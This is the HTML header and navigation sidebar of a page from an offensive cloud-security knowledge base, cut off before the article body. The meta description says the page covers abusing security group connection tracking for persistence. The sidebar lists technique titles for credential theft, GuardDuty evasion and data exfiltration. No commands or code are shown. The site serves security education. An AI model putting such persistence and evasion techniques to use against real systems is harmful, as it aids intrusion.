content=summary_large_image><meta property=twitter:title content="Connection Tracking - Hacking The Cloud"><meta property=twitter:description content="Abuse security group connection tracking to maintain persistence even when security group rules are changed."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/connection-tracking.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#connection-tracking class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Connection Tracking </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link 